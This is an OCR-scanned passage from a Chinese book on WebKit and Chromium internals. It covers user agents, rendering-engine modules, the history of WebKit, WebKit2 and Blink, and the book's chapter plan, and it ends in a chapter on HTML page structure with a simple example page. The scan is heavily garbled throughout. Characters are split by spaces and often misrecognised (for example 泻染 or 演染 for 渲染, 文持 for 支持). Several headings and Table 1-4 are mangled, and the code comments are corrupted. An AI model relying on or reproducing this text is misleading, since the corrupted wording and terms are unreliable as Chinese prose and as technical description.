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图 1-1 百度 为 桌面 系统 设计 的 用 户 访问 首页 


2. 在 Chrome 中 ， 读 者 可 以 给 用 户 代 理 设置 任何 自己 定义 的 内 容 。 有 
两 种 方法 : 其 一 是 在 Chrome 启 动 时 加 入 命令 行 参数 --user- 
agent=”xxx”; 其 二 是 首先 打开 Chrome 的 开发 者 工具 ， 人 然后 在 右 下 
角 单 击 “ 设 置 "， 之 后 选择 “ 窗 盖 ”选项 ， 最 后 读者 单 击 “ 用 户 代理 ” 框 
来 为 该 页 面 设置 新 的 用 户 代理 。 这 里 ， 我 们 选择 “Chrome-Android 
Mobile”。 需 要 记 住 的 是 ， 它 们 都 不 会 被 保存 ， 所 以 重 司 后 无 效 。 

3. 刷新 当前 的 页 面 ， 读 者 会 看 到 一 个 全 新 的 页 面 ， 访 页面 跟 读者 在 手 
机 上 看 到 的 页 面相 同 。 该 页 面 是 为 Android 系 统 设计 的 ，HTML 元 素 
之 间 的 间距 更 大 ， 页 面 更 简洁 ， 更 适合 触 屏 手 机 这 样 的 硬件 和 系 
统 ， 如 图 1-2 所 示 的 结 
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HoT] 公益 1 小 时 为 爱 送 平实 ， 护 佑 雅安 儿童 


游戏 下载 

















2 亿 网 民 在 用 手机 百度 ， 点 击 下 载 ! 








电脑 版 





图 1-2 百度 为 移动 系统 设计 的 用 户 访 问 首页 





用 户 代理 信息 是 浏览 锅 回 网 站 服务 器 发 送 HITP 请 求 消 息 头 的 时 候 
加 入 的 ， 这 样 ， 网 站 服务 器 束 能 很 容易 了 解 对 方 的 浏览 器 信息 。 从 图 1- 
1 和 图 1-2 可 以 明显 看 出 不 同 用 户 代理 信息 对 于 网 页 内 容 的 影响 ， 有 兴趣 
的 读者 还 可 以 深入 了 解 它们 在 源 代 码 上 面 的 区 别 。 当 然 ， 不 是 所 有 网 站 
都 对 不 同 的 用 户 代理 设置 了 不 同 的 内 容 ， 这 一 切 完全 取决 于 网 站 设计 者 
们 。 





1.2 Da A BEE 
12.1 ”内核 和 主流 内 核 


在 浏览 器 中 ， 有 一 个 最 重要 的 模块 ， 它 主要 的 作用 是 将 页 面 转变 成 
可 视 化 (准确 讲 还 要 加 上 可 听 化 〉 的 图 像 结果 ， 这 就 是 浏览 器 内 核 。 通 
和 常 ， 它 也 被 称 为 泻 染 引擎 。 所 谓 的 渲染 ， 就 是 根据 描述 或 者 定义 构建 数 
学 模型 ， 通 过 模型 生成 图 像 的 过 程 。 浏 览 器 的 演 染 引擎 就 是 能 够 将 
HTML/CSS/JavaScript 文 本 及 其 相应 的 资源 文件 转换 成 图 像 结果 的 模 
块 ， 如 图 1-3 所 示 。 这 里 暂时 先 把 它 看 成 一 个 黑 盒 ， 其 中 的 细节 就 是 本 
书 的 重点 。 





HTML/CSS/ 


JavaScript 





A1-3 ”浏览 器 演 染 引擎 作用 


前 面 提 到 了 第 二 次 浏览 器 大 战 ， 伴 随 其 中 的 也 就 是 泻 染 引 敬之 争 。 
目前 ， 主 流 的 泻 染 引擎 包括 Trident、Gecko 和 WebKit， 它 们 分 别 是 王 、 
火狐 和 Chrome 的 内 核 (2013 年 ，Google 宣 布 了 Blink 内 核 ， 它 其 实 是 从 
WebKit 复 制 出 去 的 ， 后 一 节 重 点 介绍 ) 。 这 一 对 应 让 人 看 起 来 好 像 演 染 
引擎 和 浏览 器 是 一 一 对 应 的 ， 其 实 不 然 。 事 实 上 ， 同 一 个 演 染 引擎 〈 虽 
然 可 能 有 很 多 不 同 的 变化 ) 可 以 被 多 个 浏览 器 所 采用 。 


为 了 便于 读者 理解 ， 可 以 把 Linux 内 核 和 浏览 器 泻 染 引 擎 对 应 起 
来 ， 把 基于 Linux 内 核 的 多 个 操作 系统 (Ubuntu、Fedora、Android 等 ) 


和 浏览 器 对 应 起 来 。 使 用 Linux 内 核 的 操作 系统 非常 多 ， 但 是 它们 都 是 
基于 Linux 内 核 。 但 是 ， 茶 些 操 作 系 统 对 内 核 作 了 很 多 的 改变 ， 这 使 得 
这 些 操作 系统 之 间 差 别 也 很 大 。 具 体 到 浏览 右 和 浏览 大 内 核 上 也 是 类 
似 ， 表 1-4 显 示 了 三 个 主流 这 染 引 擎 和 采用 它们 的 浏览 项 和 Web 平 台 
CWeb 的 平台 化 是 个 很 新 的 话题 ， 在 第 15 音 会 介绍 ) 。 











表 1-4 浏览 器 和 Web 平 台 及 其 渔 染 引擎 





Trident Gecko WebKit 


FEF TEAS | Safari, 
擎 的 浏览 器 a Chromium/Chrome, 
Be Web ye Android 浏 览 器 ， 

=} ChromeOS, WebOS4; 





由 苹果 发 起 的 WebKit 开 源 项 目 最 受 业 界 关 注 。 上 自从 开放 源 代 码 后 ， 
越 来 越 多 的 浏览 器 采用 该 泻 染 引擎 ， 特 别 是 在 移动 领域 ， 更 占据 了 玲 断 
的 地 位 。 在 表 1-4 中 仅仅 是 列 出 了 其 中 的 一 小 部 分 使 用 webKit 引 擎 作为 
内 核 的 浏览 器 ， 根 据 Wikipedia 上 面 的 数据 ， 超 过 30 种 浏览 器 和 Web 平 台 
是 基于 WebKit 演 染 引 擎 开发 的 。 值 得 强调 的 是 ， 现 在 已 经 有 了 基于 
WebKit 开 发 的 Web 平 台 ， 包 括 ChromeOS 和 WebOS。 它 们 利用 HTML5 强 
大 的 能 力 ， 上 共有 前 瞻 性 地 尝试 开发 了 文 持 HTML5 的 Web 操 作 系 统 。 


1.2.2 内核 特征 


到 目前 为 止 ， 浑 染 引擎 对 我 们 而 言 还 只 是 一 个 黑 僵 子 ， 黑 盒子 中 包 
含 什么 以 及 有 什么 作用 ， 我 们 还 一 无 所 知 ， 本 小 节 让 我 们 一 起 一 罕 其 中 
的 “路 晓 ”。 




















根据 泻 染 引擎 所 提供 的 泻 染 网 页 的 功能 ， 一 般 而 言 ， 它 需要 包含 图 
1-4 中 所 描述 的 众多 功能 模块 。 图 中 主要 分 成 三 层 ， 最 上 层 使 用 虚线 杠 
住 的 是 泻 染 引擎 所 提供 的 功能 。 





操作 系统 支持 (如 多 线程 ， 文 件 等 ) 





图 1-4 泻 染 引擎 模块 及 其 依赖 的 模块 


从 图 中 大 致 可 以 看 出 ， 一 个 泻 染 引擎 主要 包括 HTML 解 释 器 、CSS 
解释 上 器、 布局 和 JavaScript 引 擎 等 ， 其 他 还 有 绘图 模块 、 网 络 等 并 没有 在 
图 中 直接 表示 出 来 ， 下 面 依次 来 描述 它们 。 





。 HTML 解释 器 : ”解释 HTML 文 本 的 解释 器 ， 主 要 作用 是 将 HTML 文 
本 解释 成 DOM (文档 对 象 模 型 ) 树 ，DOM 是 一 种 文档 的 表示 方 
Pe 

。 CSS 解 释 器 : ”级 联 样式 表 的 解释 器 ， 它 的 作用 是 为 DOM 中 的 各 个 
元 素 对 象 计 算出 样式 信息 ， 从 而 为 计算 最 后 网 页 的 布局 提供 基础 设 
施 。 

e 布局: ”在 DOM 创 建 之 后 ，Webkit 需 要 将 其 中 的 元 素 对 象 同样 式 信 
恩 结合 起 来 ， 计 算 它 们 的 大 小 位 置 等 布局 信息 ， 形 成 一 个 能 够 表示 
这 所 有 信息 的 内 部 表示 模型 。 

e JavaScript 引 擎 : ”使 用 JavaScript 代 码 可 以 修改 网 页 的 内 容 ， 也 能 修 
改 CSS 的 信息 ，JavaScript 引 擎 能 够 解释 JavaScript 代 码 并 通过 DOM 
接口 和 CSSOM 接 口 来 修改 网 页 内 容 和 样式 信息 ， 从 而 改变 泻 染 的 











结果 。 
绘图 : ”使 用 图 形 库 将 布局 计算 后 的 各 个 网 页 的 节点 绘制 成 图 像 结 
A 








这 些 模块 依赖 很 多 其 他 的 基础 模块 ， 这 其 中 包括 网 络 、 存 储 、 
2D/3D 疼 形 、 音 频 视频 和 图 片 解码 器 等 。 实 际 上 ， 泻 染 引擎 中 还 应 该 包 
括 如 何 使 用 这 些 依赖 模块 的 部 分 ， 这 部 分 的 工作 其 实 并 不 少 ， 因 为 需要 
使 用 设计 出 合适 的 框架 使 用 它们 来 高 效 地 泻 染 网 页 ， 后 面 革 市 会 详细 介 
绍 。 例 如 ， 利 用 2D/3D 图 形 库 来 实现 高 性 能 的 网 页 绘制 和 网 页 的 3D 演 
染 ， 这 个 实现 非常 的 复杂 。 最 后 ， 当 然 ， 在 最 下 层 ， 依 然 少 不 了 操作 系 
统 的 文 持 ， 例 如 线程 文 持 、 文 件 文 持 等 。 








在 了 解 了 这 些 主要 模块 之 后 ， 下 面 介绍 这 些 模块 是 如 何 一 起 工作 以 
完成 网 页 的 演 染 过 程 。 一 般 的， 一 个 典型 的 泻 染 过 程 如 图 1-5 所 示 ， 这 
是 渲染 引擎 的 核心 过 程 ， 一 切 都 是 围绕 着 它 来 的 。 








下 面 从 左 至 右 逐 次 解释 图 1-5 中 的 这 一 过 程 ， 先 后 关系 由 图 中 的 实 
线 季 头 表 示 。 从 左上 角 开 始 ， 首 先是 网 页 内 容 ， 输 入 到 HIML 解 释 器 ， 
HITML 解 释 器 在 解释 它 后 构建 成 一 柠 DOM 树 ， 这 期 间 如 果 遇 到 
JavaScript 代 码 则 交 给 JavaScript 引 擎 去 处 理 ， 如 果 网 页 中 包含 CSS， 则 交 
给 CSS 解 释 器 去 解释 。 当 DOM 建 立 的 时 候 ， 演 染 引擎 接收 来 自 CSS 解 释 
器 的 样式 信息 ， 构 建 一 个 新 的 内 部 绘图 模型 。 该 模型 由 布局 模块 计算 模 
型 内 部 各 个 元 素 的 位 置 和 大 小 信息 ， 最 后 由 绘图 模块 完成 从 该 模型 到 图 
像 的 绘制 。 















布局 和 


a CSS 解释 
器 






网 络 


图 1-5 泻 染 引擎 的 一 般 泻 染 过 程 及 各 阶段 依赖 的 其 他 模块 


最 后 解释 岁 1-5 中 虚线 箭头 的 指 同 含 义 。 它 们 表示 在 演 染 过 程 中 ， 
每 个 阶段 可 能 使 用 到 的 其 他 模块 。 在 网 页 内 容 的 下 载 中 ， 需 要 使 用 到 网 
络 和 和 存储， 这 点 显而易见 。 但 计算 布局 和 绘图 的 时 候 ， 需 要 使 用 2D/3D 
的 图 形 模块 ， 同 时 因为 要 生成 最 后 的 可 视 化 结果 ， 这 时 需要 开始 解码 音 
频 、 视 频 和 图 片 ， 同 其 他 内 容 一 起 绘制 到 最 后 的 图 像 中 。 








在 演 染 完成 之 后 ， 用 户 可 能 需要 跟 泻 染 的 结果 进行 交互 ， 或 者 网 页 
自身 有 动画 操作 ， 一 般 而 言 ， 这 需要 持续 的 重复 泻 染 过 程 。 


1.3 WebKit iż 


1.3.1 WebKit} Æ 


说 到 WebKit 的 渊源 ， 这 还 得 从 KHTML 说 起 。 话 说 在 1998 年 ， 苹 果 
公司 参与 了 由 KDE 开 源 社区 发 起 的 网 页 泻 染 引擎 KHTML 的 开源 项 目 开 
发 ， 它 同 KDE 开 源 社区 一 起 共同 提交 代码 帮助 推动 KHTML 的 发 展 ， 一 
开始 一 切 都 很 美好 。 但 是 ， 很 快 苹果 公司 发 现 ，KHTML 的 开发 者 不 喜 
欢 接受 很 多 竺 果 公 司 工程 师 提 区 的 代码 ， 因 为 他 们 提交 的 代码 包 很 庞大 
并 且 这 些 代 码 没有 合适 的 文档 或 者 注释 来 描述 它们 。 两 者 的 分 歧 越 来 越 
大 ， 最 终 在 2001 年 ， 苹 果 宣 布 从 KHTML 的 源 代码 树 中 复制 代码 出 来 ， 
成 立 了 一 个 新 的 项 目 ， 这 就 是 大 名 见 易 的 WebKit。 不 过 当时 它 是 一 个 封 
闭 的 项 目 。2005 年 ， 苹 果 决 定 将 WebKit 项 目 开源 ， 这 一 举动 极 大 地 推动 
了 该 项 目的 发 展 。 从 此 ，WebKit 走 上 了 高 速 发 展 的 道路 ， 在 短 短 的 几 年 
时 间 里 ， 被 其 他 很 多 公司 采用 作为 浏览 器 的 内 核 。 











当 笔 者 谈 到 “WebKit" 的 时 候 ， 其 实 可 以 表示 两 种 含义 ， 这 里 姑且 称 
为 广义 WebKit 和 狭义 WebKit。 广 义 的 webKit 指 的 就 是 WebKit 项 目 。 为 
了 解释 狭义 WebKit， 让 我 们 在 一 个 更 高 层次 上 俯视 一 下 这 个 开源 项 目 。 
图 1-6 显 示 的 是 该 项 目的 大 模块 图 (在 第 3 章 中 会 详细 描述 其 中 的 细 
W) 。 图 中 “WebKit 租 入 式 接 口 ” 束 是 指 的 狭义 WebKit， 它 指 的 是 在 
WebCore (包含 上 和 面 提 到 的 HTML 解 释 占 、CSS 解 释 占 和 布局 等 模块 ) 
和 JavaScript 引 敬之 上 的 一 层 绑 定 和 骸 入 式 编程 接口 ， 可 以 被 各 种 浏览 如 
调用 。 以 后 如 无 特别 说 明 ， 所 引用 的 WebKit 均 是 指 广 义 的 概念 。 








调用 系统 或 依赖 库 接口 的 桥接 层 





图 1-6 WebKit 项 目的 大 模块 


WebKit 项 目 自 开源 以 来 就 以 结构 清晰 、 易 于 维护 等 优点 受到 了 众多 
浏览 喜 或 者 web 平台 三 商 的 青睐 。 随 之 而 来 一 个 显而易见 的 问题 就 是 ， 
由 于 各 自 需 求 不 同 ， 或 者 操作 系统 不 同 ， 或 者 依赖 的 模块 不 同 〈 如 2D 
图 形 库 ， 有 CG、skia、cairo、Qt 等 ) ， 操 作 系 统 的 开发 者 必然 需要 
WebKit 设 计 和 定义 一 套 灵 活 的 框架 结构 ， 而 不 同 的 三 丙 基于 框架 结构 ， 
完成 基于 自身 操作 系统 和 依赖 模块 的 实现 ， 这 里 我 们 也 称 之 为 WebKit 移 
fH (Port) 。WebKit 这 种 简单 灵活 和 便于 引入 新 移植 的 特性 ， 使 其 迅速 
成 为 最 受 欢迎 的 泻 染 引擎 。 基 于 WebKit 的 浏览 器 遍地 开花 ， 不 仅 包 括 桌 
面市 场 ， 也 包括 逐步 崛起 的 移动 市 场 。 从 演 染 引擎 市 场 的 妃 随 者 到 领跑 
者 ，WebKit 仅 仅 用 了 不 到 10 年 的 时 间 ， 这 不 得 不 说 是 个 奇迹 。 




















WebKit 有 众多 的 移植 ， 每 个 移植 的 实现 都 不 同 ， 出 于 上 自 吴 的 考虑 ， 
每 个 移植 对 HTML5 规 范 的 文 持 也 不 尽 相 同 ， 所 以 ， 尽 管 都 使 用 
WebKit， 但 还 是 可 能 对 兼容 性 带 来 很 大 的 挑战 。 男 一 方面 ， 更 为 令 人 祭 
讶 的 是 ，WebKit 也 在 分 裂 ， 详 见 后 面 介绍 的 Chromium 新 内 核 一 一 
Blink. 





WebKit 的 代码 可 以 从 官方 网 站 www.webkit.org 上 获取 ， 上 面 有 详细 
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可 以 从 官方 网 站 www.chromium.org 上 获取 ， 这 两 个 项 目的 代码 是 本 书 讲 
述 的 重点 。 


1.3.2 WebKit 和 WebKit2 


这 里 说 的 WebKit 不 是 指 开源 项 目 WebKit， 而 是 前 面 说 到 的 狭义 上 
的 绑 定 和 接口 屋 。 同 样 的 ，WebKit2 也 是 一 个 狭义 上 的 绑 定 和 接口 层 。 
但 是 ，WebKit2 不 是 webKit 绑 定 和 接口 层 的 简单 修改 版 ， 而 是 一 组 文 持 
新 架构 的 全 新 绑 定 和 接口 层 。 在 Chromium 项 目 中 ， 为 了 网 页 浏览 环境 
的 安全 性 和 稳定 性 原因 考虑 而 引入 了 路 进程 的 架构 后 ，WebKit 开 源 项 目 
也 一 直 希 望 加 入 这 方面 的 支持 。 可 惜 ， 这 个 特性 一 直 没 有 被 加 入 到 
WebKit 项 目 中 来 。 





在 2010 年 4 月 ， 苹 果 宣 布 了 WebKit2， 目 标 就 是 抽象 出 一 组 新 的 编程 
接口 ， 该 接口 和 调用 者 代码 与 网 页 的 泻 染 工作 代码 不 在 同一 个 进程 ， 这 
显然 有 了 Chromium 多 进程 的 优点 ， 但 是 与 此 同时 ，WebKit2 接 口 的 使 用 
者 不 需要 理解 和 接触 背后 的 多 进程 和 进程 间 通 信 等 复杂 机 制 ，WebKit2 
部 分 代码 也 属于 WebKit 项 目 。 图 1-7 显 示 的 是 WebKit2 的 进程 结构 模型 ， 
可 以 看 出 : 至 少 有 两 个 进程 ， 其 一 是 UI 进程 ， 也 是 WebKit2 绑 定 和 接口 
层 所 在 的 进程 ， 也 就 是 浏览 器 或 者 Web 平 台 的 UI 进程 ， 其 二 是 Web 进 
程 ， 也 就 是 网 页 泻 染 所 在 的 进程 。 








浏览 器 或 Web 平台 


UI 进程 
WebKit2 接口 


进程 通信 柱 


WebKit 
项 目 


进程 通信 柱 


Web 进程 





图 1-7 WebKit2 进 程 结构 


WebKit2 的 具体 内 部 抽象 和 实现 情况 ， 以 及 和 Chromium 进 程 架构 的 
比较 将 会 在 第 3 章 做 详细 介绍 。 





1.3.3 ”Chromium 内 核 ， Blink 


历史 总 是 惊人 的 相似 ， 当 年 发 生 在 KHTML 项 目 上 的 事情 也 同样 发 
生 在 WebKit 项 目 上 。2013 年 4 月 〈 又 是 4 月 ) ，Google 宣 布 了 从 WebKit 
复制 出 来 并 独立 运作 的 Blink 项 目 ， 其 中 的 原因 也 是 一 言 难 尽 ， 主 要 还 
是 Google 和 苹果 公司 有 了 一 些 分 歧 。 最 初 ，Blink 和 WebKit 没 有 特别 大 
的 不 同 ， 因 为 刚刚 从 WebKit 复 制 过 来 。 所 以 ， 本 书 基于 Chromium 的 某 
些 实现 来 讲解 WebKit 的 技术 内 幕 ， 也 没有 什么 特别 令 人 吃惊 的 地 方 。 











在 二 者 “分 手 ”" 后 ，WebKit 将 与 Google _ Chromium 浏览 器 相关 的 代码 
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删除 了 。 不 过 ， 可 以 预见 的 是 ， 二 者 以 后 的 差别 肯定 会 越 来 越 大 ， 这 是 
因为 Google 和 希望 未 来 在 Blink 中 加 入 很 多 新 的 技术 ， 下 面 是 Chromium 网 
站 上 列 出 的 。 





其 一 ， 实 现 路 进程 的 iframe。iframe 允 许 网 页 中 藤 入 其 他 页 面 ， 这 
存在 潜在 的 安全 问题 。 一 个 新 的 想法 就 是 为 ifame 创 建 一 个 单独 的 沙 箱 
进程 。 该 部 分 的 介绍 在 第 12 章 展开 。 





其 二 ， 重 新 整理 和 修改 WebKit 关 于 网 络 方面 的 架构 和 接口 。 长 期 以 
来 ，WebKit 中 的 一 些 实现 是 以 Mac OS 平台 为 基础 的 ， 所 以 存在 某 些 方 
面 的 限制 ，Blink 将 会 在 这 方面 做 比较 大 的 调整 。 


其 三 ， 一 个 更 为 胆 大 更 为 激进 的 想法 束 是 将 DOM 树 引入 JavaScript 
引擎 中 。 由 前 面 的 介绍 可 以 看 到 ， 目 前 DOM 和 JavaScript 引 擎 是 分 开 
的 ， 这 意味 着 JavaScript 引 擎 访问 DOM 树 需要 较 高 的 代价 。 笔 者 认为 这 
是 一 个 大 胆 而 又 具有 革命 性 的 尝试 ， 会 带 来 性 能 的 极 大 提升 ， 为 什么 
We? 原因 是 JavaScript 引 擎 访问 DOM 树 需要 额外 的 负担 ， 这 影响 了 访问 
速度 。 





其 四 ， 就 是 针对 各 种 技术 的 性 能 优化 ， 包 括 但 是 不 限于 图 形 、 
JavaScript 引 擎 、 内 存 使 用 、 编 译 的 二 进 制 文件 大 小 等 。 


之 后 还 有 很 多 其 他 技术 会 被 逐渐 引入 ， 让 我 们 一 直 关 注 WebKit 和 
Blink 的 发 展 。 
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这 是 一 本 介绍 WebKit (Blink) 内 部 机 制 的 书 ， 因 为 要 文 持 完 整 的 
浏览 器 功能 ， 同 样 需要 浏览 器 部 分 的 实现 ， 所 以 本 书 实际 上 是 基于 
WebKit 项 目 并 结合 Chromium 项 目 来 展开 的 。 全 书 都 是 先 介绍 各 种 新 的 
HTML5 技 术 和 原理 ， 然 后 围绕 着 WebKit 是 如 何 支持 HTML5 技 术 ， 详 细 
介绍 WebKit 的 工作 原理 ， 同 时 辅 以 Chromium 中 更 进一步 的 机 制 。 并 且 
在 介绍 东 些 部 分 时 ， 伴 随 痢 HIML5 的 实践 。 





本 书后 续 将 分 十 四 个 章节 逐步 为 该 者 深入 介绍 WebKit 的 内 部 工作 机 
制 ， 共 包含 基本 篇 共 六 蔓 和 高 级 篇 共 章 ， 其 中 基本 篇 主要 介绍 演 染 的 基 
本 模块 和 过 程 ， 高 级 篇 则 着 重 介绍 HIML5 和 浏览 器 中 的 复杂 和 新 颖 技 
术 ， 其 组 织 结构 如 下 。 











第 2 章 ， 着 重 剖 析 HTML 网 页 的 构成 和 结构 ， 通 过 对 它们 的 解释 来 
帮助 理解 WebKit 的 泻 染 过 程 。 


第 3 章 ， 摘 述 WebKit 为 文 持 泻 染 而 包含 的 基本 模块 和 架构 ， 同 时 结 
合 Chromium 的 架构 和 实现 ， 来 理解 WebKit 的 组 成 和 浏览 器 的 组 成 结 
构 。 


从 第 4 章 开始 ， 一 直到 第 7 章 ， 依 次 详细 描述 演 染 过 程 中 的 各 个 阶段 
RETF RHE, 
第 4 章 ， 介 绍 WebKit 的 网 络 和 资源 加 载 机 制 ， 以 及 资源 缓存 策略 。 


同时 ， 在 分 析 Chromium 多 进程 资源 加 载 和 全 新 网 络 栈 和 协议 基础 上 ， 
介绍 一 些 HIML 网 页 高 效 的 资源 使 用 方法 。 


第 5 章 ， 主 要 介绍 DOM 模 型 等 方面 的 技术 ， 并 且 描 述 WebKit 中 
HTML 解 释 器 和 DOM 内 部 表示 。 





第 6 章 ， 详 解 CSS 解 释 器 ， 并 描述 CSS3 的 新 功能 和 WebKit 的 支持 情 
况 。 之 后 ， 分 析 WebKit 如 何 利 用 CSS 来 计算 布局 的 过 程 。 








第 7 草 ， 介 绍 目前 的 演 染 方式 以 及 根据 网 页 结构 来 设计 文 持 泻 染 的 
各 种 内 部 数据 表示 ， 包 括 RenderObject 树 和 RenderLayer 树 ， 最 后 详细 展 
现 软 件 泻 染 网 页 的 过 程 。 


M8 开始， 进入 蜗 级 篇 ， 笔 者 着 重 介绍 目前 的 一 些 新 技术 和 
实现 。 











第 8 章 ， 描 述 GPU 人 硬件 在 目前 渔 染 中 所 起 的 作用 。 现 代 浏 览 絮 越 来 
越 依赖 GPU 便 件 加 速 泻 染 基础 ， 特 别 是 HTML5 引 入 的 众多 标准 。 本 六 
展示 的 是 使 用 CPU 人 硬件 加 速 机 制 的 HTML5 功 能 ， 以 及 众多 文 持 人 硬件 加 
速 的 模块 在 Chromium 中 是 如 何 工 作 的 。 


第 9 瘟 ， 专 注 于 现代 JavaScript 引 擎 的 介绍 ， 包 括 JavaScriptCore 和 V8 
引擎 ， 摘 述 它们 在 网 页 泻 染 中 的 作用 。 最 后 谈 一 谈 如 何 编写 高 性 能 的 
JavaScript 代 码 。 


第 10 章 ， 介 绍 浏 览 器 中 的 插件 机 制 和 扩展 机 制 ， 包 括 WebKit 的 
NPAPI 插 件 机 制 、Chromium 浏 览 右 中 的 扩展 机 制 、PPAPI 机 制 和 
NativeClient 技 术 ， 通 过 这 些 技术 可 以 增加 JavaScript API 在 扩展 
JavaScript 语 言 中 的 能 


第 11 章 ， 专 注 于 WebKit 对 多 媒体 方面 的 文 持 ， 包 括 音 频 和 视频 。 详 
解 WebKit 的 内 部 原理 和 对 最 新 的 HIML5 视 频 及 音频 的 文 持 。 最 后 展示 


是 新 颖 的 网 络 实时 通信 机 制 WebRTC 并 尝试 构建 一 个 新 的 例子 。 


第 12 章 ， 首 先 描述 HTML 指 定 的 网 页 安全 规范 并 解释 WebKit 和 
Chromium 浏 览 器 的 应 对 之 策 ， 接 下 来 是 浏览 器 为 了 维护 自身 安全 所 作 
的 努力 。 





第 13 章 ， 移 动 领域 越 来 越 重要 ，WebKit 在 移动 领域 的 地 位 举 足 轻 
重 。 本 章 描述 WebKit 文 持 移 动 领域 特定 的 功能 ， 同 时 也 包括 新 的 演 染 机 
制 |。 


第 14 章 ， 详 解 WebKit 中 的 调试 模块 WebInspector， 包 括 结构 和 原理 
等 。 之后， 以 Chromium 的 开发 者 工具 (DevTools) 为 例 ， 实 践 如 何 调 
试 网 页 的 正确 性 和 性 能 问题 ， 让 我 们 一 起 认识 调试 功能 的 强大 。 


第 15 章 ， 主 要 谈 一 谈 对 Web 未 来 发 展 的 看 法 和 目前 一 些 明 显 的 趋 
势 。 特 别 是 对 WebKit 的 多 用 途 化 和 HTML5 未 来 的 发 展 。 当 然 也 少不了 
目前 初 见 端倪 的 Web 平 台 和 Web 应 用 程序 ， 这 其 中 包括 PhoneGap、 


ChromeOS 等 。 


浏览 器 和 浏览 器 内 核 的 技术 远 不 止 这 些 ， 扩 展 到 Web 前 病 领 域 ， 还 
有 众多 的 设备 接口 (Device API) 、Web Storage 等 存储 技术 、Web 性 能 
技术 等 ， 书 中 并 没有 一 一 介绍 ， 但 这 些 理解 起 来 其 实 可 以 参考 本 书 介绍 
的 知识 ， 有 兴趣 的 读者 可 以 做 进一步 的 研究 。 








第 2 章 ”HTML 网 页 和 结构 


HTML 网 页 是 利用 HTML 语 言 编写 的 文档 ， 它 是 一 种 半 结 构 化 的 数 
据 表 现 方式 。 它 的 结构 特征 可 以 归纳 为 三 种 : 树 状 结构 、 层 次 结构 和 框 
结构 ， 这 些 都 是 分 析 WebKit 引 擎 泻 染 网 页 的 基础 。 后 面 会 详细 描述 
WebKit 引 擎 泻 染 网 页 的 详细 过 程 及 中 间 涉 及 的 WebKit 主 要 内 部 结构 表 
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2.1 网 页 构成 
2.1.1 基本 元 系 和 树 状 结构 


简单 来 讲 ，HTML 网 页 就 是 一 种 使 用 HTML 语 言 撰写 的 文档 。 但 
是 ， 现 在 的 网 页 基本 上 都 是 动态 网 页 (Dynamic HTML)，， 也 就 是 网 页 
可 以 出 现 动 画 ， 可 以 与 用 户 交 互 ， 这 就 需要 CSS 样 式 语言 和 JavaScript 语 
言 。 在 这 样 的 动态 网 页 中 ，JavaScript 代 码 用 来 控制 网 页 内 部 的 逻辑 ， 
CSS 用 来 描述 网 页 的 显示 信息 。 示 例 代 码 2-1 是 一 个 简单 但 是 完整 使 用 这 
些 技术 的 网 页 ， 如 果 读 者 感 兴 趣 的 话 ， 可 以 将 代码 保存 到 一 个 文件 里 ， 
HAWEN aS PST A o 





示例 代码 2-1 一 个 简单 完整 的 HTML 网 页 
<html> <1--HTML 文 本 - -> 
<head> 
<style type="text/css"> <1--CSS 代 码 - -> 


img{width:100px;} 
</style> 


<title>This is a simple case.</title> 





</head> 
<body> 
<img src="apic.png"></img> <!-- 图 片 资 源 - -> 


<div>Hello world!</div> 


<script type="text/javascript"> <!--JavaScript/ 


window. onload=function(){ 
console. log("window.onload()"); 
} 
console.log("It’s me."); 
</script> 
</body> 
</html> 


整个 网 页 可 以 看 成 一 种 树 状 结构 ， 其 树 根 是 “htmlj”， 这 是 网 页 的 根 
TA RREA) 。 根 下 面 也 包含 两 个 子 市 
点 “head” 和 “body”。 “head” 的 子女 “style” 包 含 的 就 是 一 段 CSS 代 码 ， 用 来 
定义 元 素 的 样式 信息 。 











CSS 是 一 种 样式 表 语 言 ， 用 来 描述 元 素 的 显示 信息 。 在 HTML 的 早 
期 ， 内 容 和 显示 是 混在 一 起 的 ， 最 典型 的 例子 莫 过 于 使 用 table 元 素来 展 
示 数 据 。 这 对 网 页 的 代码 结构 非常 不 利 。 因 为 ， 如 果 Web 开 发 者 想 修改 
数据 的 显示 方式 ， 也 要 修改 数据 本 身 ， 会 很 麻烦 。 有 鉴于 此 ， 借 鉴 数 据 
和 显示 分 离 的 原理 ， 规 范 设计 者 们 可 以 将 有 关 显 示 的 信息 例如 颜色 、 大 
小 、 字 体 等 抽取 出 来 ， 使 用 CSS 语 言 编 写 代码 来 描述 它们 ， 与 HTML 元 
素 的 内 容 分 离开 来 。 














“body” 节 点 下 面包 含 三 个 子 节点 ， 共存 "Mime 用 来 在 网 页 
中 显示 图 片 资源 ， 其 二 是 “div” 节 点 ， 其 三 是 “script” 节 点 ， 它 包括 一 上 段 
JavaScript 代 码 。 


JavaScript 是 一 种 解释 型 的 脚本 语言 ， 主 要 目的 是 控制 用 户 端 逻 辑 、 
同 用 户 交 互 等 ， 它 可 以 修改 HTML 元 素 及 其 内 容 。 该 语言 是 由 网 景 发 
明 ， 后 被 微软 采用 ， 虽 然 只 是 EMCAScript 标 准 的 一 种 实现 ， 但 是 绝 大 





多 数 浏 览 器 都 支持 它 。 现 在 ，JavaScript 语 言 越 来 越 重 要 ， 不 仅 被 广泛 使 
用 ， 更 是 把 工作 领域 拓展 到 了 服务 器 端 。 


由 上 面 的 分 析 可 以 看 出 ， 一 个 完整 的 网 页 组 成 包括 HIML 文 本 、 
JavaScript 代 码 、CSS 代 码 以 及 各 种 各 样 的 资源 文件 。 网 络 上 的 每 个 资源 
都 是 由 URL(Unified Resource ”Locator) 标 记 的 ， 它 是 URI (Unified 
Resource Identifier〉 的 一 种 实现 。 这 表明 对 于 浏览 器 来 讲 ， 区 分 两 个 资 
源 是 否 相 同 的 唯一 标准 就 是 它们 的 URL 是 否 一 致 。 


示例 代码 2-1 中 的 这 些 元 系 组 成 一 个 树 状 结构 ， 这 就 是 HTML 文 档 的 
树 状 结构 。 在 WebKit 中 ， 这 个 文档 会 构建 成 一 个 DOM 树 ， 这 在 第 5 章 会 
做 详细 介绍 。 


2.1.2 HTML5 新 特性 


在 第 1 章 中 ， 我 们 介绍 了 HITML5 在 10 个 大 类 别 上 对 Web 前 站 领域 引 
入 的 全 新 功能 。 本 节 让 我 们 一 起 探讨 HTIML5 新 特性 中 对 网 页 结构 可 能 
产生 比较 大 影响 的 那些 功能 。 





HTML5 引 入 的 最 让 人 惊讶 的 最 新 能 力 之 一 是 对 2D 和 3D 图 形 以 及 多 
媒体 方面 的 文 持 ， 这 将 彻底 改变 网 页 的 泻 染 方式 和 复杂 上 度 。 这 里 包括 但 
是 不 限于 HTML5 视 频 、Canvas 2D, WebGL (也 就 是 Canvas 3D) ， 以 
